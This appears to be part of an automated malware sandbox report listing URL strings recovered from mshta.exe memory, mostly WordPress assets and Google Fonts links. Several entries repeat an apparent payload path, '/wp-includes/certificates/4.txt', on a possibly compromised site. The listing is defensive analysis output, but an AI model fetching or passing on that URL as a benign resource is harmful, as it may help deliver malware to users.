Source: mshta.exe, 0000000A.00000003.387366478.000000000CCBD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtl
Source: mshta.exe, 0000000A.00000003.386488905.000000000CCEE000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtlax/js/jquery.simplr.smoothscroll.min.js?ver=
Source: mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtlt.aspx?ocid=ie6_countdown_bannercode
Source: mshta.exe, 0000000A.00000002.535529252.0000000003310000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtmshta
Source: mshta.exe, 0000000A.00000003.387366478.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556493364.000000000CCBD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtn
Source: mshta.exe, 0000000A.00000003.386488905.000000000CCEE000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556680708.000000000CCF3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtogleTranslateElementInit20Bp
Source: mshta.exe, 0000000A.00000003.387366478.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556493364.000000000CCBD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtp
Source: mshta.exe, 0000000A.00000003.386140675.0000000006B47000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtr
Source: mshta.exe, 0000000A.00000003.386140675.0000000006B47000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtr4
Source: mshta.exe, 0000000A.00000003.332044641.0000000006B47000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtv
Source: mshta.exe, 0000000A.00000003.387366478.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556493364.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.536259584.00000000034C2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332104542.0000000006B7D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txty
Source: mshta.exe, 0000000A.00000003.387366478.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556493364.000000000CCBD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txty-policytxto
Source: mshta.exe, 0000000A.00000003.332658393.00000000034E3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387469878.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.536752026.00000000034E4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtyle.cssE5
Source: mshta.exe, 0000000A.00000003.332911696.00000000070C3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/css/style.css1
Source: mshta.exe, 0000000A.00000003.332911696.00000000070C3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.544849702.00000000070C2000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.385933121.00000000070A9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387051343.00000000070C1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/css/style.cssn
Source: mshta.exe, 0000000A.00000003.386063052.0000000007133000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.545320205.0000000007133000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/privacy-policy
Source: mshta.exe, 0000000A.00000003.386063052.0000000007133000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.545320205.0000000007133000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/privacy-policy5
Source: mshta.exe, 0000000A.00000003.385933121.00000000070A9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387051343.00000000070C1000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.538240401.0000000003588000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332073316.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417
Source: mshta.exe, 0000000A.00000003.332911696.00000000070C3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.544849702.00000000070C2000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.385933121.00000000070A9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387051343.00000000070C1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-201204170C:
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417:
Source: mshta.exe, 0000000A.00000002.556041282.000000000CC1D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417N
Source: mshta.exe, 0000000A.00000002.541711426.0000000006AD0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417igrate-1.2.1.min.js?ver=1.2.18(
Source: mshta.exe, 0000000A.00000002.541711426.0000000006AD0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417igrate-1.2.1.min.js?ver=1.2.1?v
Source: mshta.exe, 0000000A.00000003.387366478.000000000CCBD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417m
Source: mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417y.easing.1.3.js?ver=1.3
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386639993.000000000CD3B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386063052.0000000007133000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386551302.000000000CD31000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387227978.0000000003553000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387366478.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556493364.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.545320205.0000000007133000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386140675.0000000006B47000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.538240401.0000000003588000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20
Source: mshta.exe, 0000000A.00000003.386063052.0000000007133000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.545320205.0000000007133000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20=B
Source: mshta.exe, 0000000A.00000003.387366478.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556493364.000000000CCBD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20I
Source: mshta.exe, 0000000A.00000003.387366478.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556493364.000000000CCBD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20Kk
Source: mshta.exe, 0000000A.00000003.386063052.0000000007133000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.545320205.0000000007133000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20UAX
Source: mshta.exe, 0000000A.00000003.387469878.00000000034E4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20XXC:
Source: mshta.exe, 0000000A.00000003.387227978.0000000003553000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537862942.0000000003554000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20a.min.js?ver=1.3.4
Source: mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20eLMEM
Source: mshta.exe, 0000000A.00000003.386063052.0000000007133000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20qA
Source: mshta.exe, 0000000A.00000003.386063052.0000000007133000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.545320205.0000000007133000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20uB8
Source: mshta.exe, 0000000A.00000003.332073316.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20
Source: mshta.exe, 0000000A.00000002.556493364.000000000CCBD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20/jquery.flexslider-min.js?
Source: mshta.exe, 0000000A.00000002.542148707.0000000006B07000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.200
Source: mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332073316.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20P
Source: mshta.exe, 0000000A.00000002.556174591.000000000CC48000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20ou
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.544798464.00000000070BA000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.385933121.00000000070A9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/wlwmanifest.xml
Source: mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/wlwmanifest.xml4
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332768718.000000000353C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387227978.0000000003553000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537862942.0000000003554000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537609183.000000000353C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387290673.000000000353C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/xmlrpc.php
Source: mshta.exe, 0000000A.00000003.303044900.0000000006BD3000.00000004.00000800.00020000.00000000.sdmp, font-awesome[1].css.10.drString found in binary or memory: http://fontawesome.io
Source: mshta.exe, 0000000A.00000003.303044900.0000000006BD3000.00000004.00000800.00020000.00000000.sdmp, font-awesome[1].css.10.drString found in binary or memory: http://fontawesome.io.
Source: mshta.exe, 0000000A.00000002.541711426.0000000006AD0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387227978.0000000003553000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537862942.0000000003554000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386488905.000000000CCEE000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542148707.0000000006B07000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato&subset=latin
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato&subset=latin%
Source: mshta.exe, 0000000A.00000002.542148707.0000000006B07000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato&subset=latinC:
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387227978.0000000003553000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537862942.0000000003554000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato&subset=latinE
Source: mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332104542.0000000006B7D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato&subset=latinhing
Source: mshta.exe, 0000000A.00000002.541711426.0000000006AD0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato&subset=latink/css/magnific-popup.css?ver=0.9.3
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato&subset=latinn-style.css.css?ver=4.9.20
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387227978.0000000003553000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537862942.0000000003554000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332283866.0000000006B1D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:100
Source: mshta.exe, 0000000A.00000003.332283866.0000000006B1D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:100elC:
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387227978.0000000003553000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537862942.0000000003554000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:100k
Source: mshta.exe, 0000000A.00000003.332658393.00000000034E3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387469878.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.536752026.00000000034E4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:100s/4.txtesh
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.538240401.0000000003588000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332283866.0000000006B1D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:300
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.538240401.0000000003588000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:300AfC
Source: mshta.exe, 0000000A.00000003.332283866.0000000006B1D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:300L
Source: mshta.exe, 0000000A.00000003.387458814.00000000034E0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.536687580.00000000034E1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:300s/4.txty
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.538240401.0000000003588000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332283866.0000000006B1D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:400
Source: mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332073316.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:400-release.min.js?ver=4.9.20
Source: mshta.exe, 0000000A.00000003.332283866.0000000006B1D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:400C:
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.538240401.0000000003588000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:400gf
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.538240401.0000000003588000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332283866.0000000006B1D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:700
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.538240401.0000000003588000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:700(f
Source: mshta.exe, 0000000A.00000003.332658393.00000000034E3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387469878.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.536752026.00000000034E4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:7004.txt
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.538240401.0000000003588000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:700;fi
Source: mshta.exe, 0000000A.00000003.332283866.0000000006B1D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:700L
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.538240401.0000000003588000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:700qe3
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.538240401.0000000003588000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:700~e&
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.544908525.00000000070CF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.538240401.0000000003588000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.385971386.00000000070CF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332283866.0000000006B1D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332960151.0000000007112000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:900
Source: mshta.exe, 0000000A.00000003.332658393.00000000034E3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387469878.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.536752026.00000000034E4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:9004.txt
Source: mshta.exe, 0000000A.00000003.332283866.0000000006B1D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:900C:
Source: mshta.exe, 0000000A.00000002.544908525.00000000070CF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.385971386.00000000070CF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332960151.0000000007112000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:900R
Source: mshta.exe, 0000000A.00000003.387366478.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556493364.000000000CCBD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/
Source: mshta.exe, 0000000A.00000003.332911696.00000000070C3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.544849702.00000000070C2000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.385933121.00000000070A9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387051343.00000000070C1000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eot
Source: mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.320705613.0000000006BF3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332073316.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, css[1].css0.10.drString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eot);
Source: mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eotC:
Source: mshta.exe, 0000000A.00000002.541911720.0000000006AEA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eotQ
Source: mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eot
Source: mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.321096607.0000000006C15000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332073316.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, css[5].css.10.drString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eot);
Source: mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eotC:
Source: mshta.exe, 0000000A.00000003.332911696.00000000070C3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.544849702.00000000070C2000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.385933121.00000000070A9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387051343.00000000070C1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eot~
Source: mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eot
Source: mshta.exe, 0000000A.00000003.321092954.0000000006C0B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332073316.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, css[4].css.10.drString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eot);
Source: mshta.exe, 0000000A.00000003.332911696.00000000070C3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.544849702.00000000070C2000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.385933121.00000000070A9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387051343.00000000070C1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eot0
Source: mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eotC:
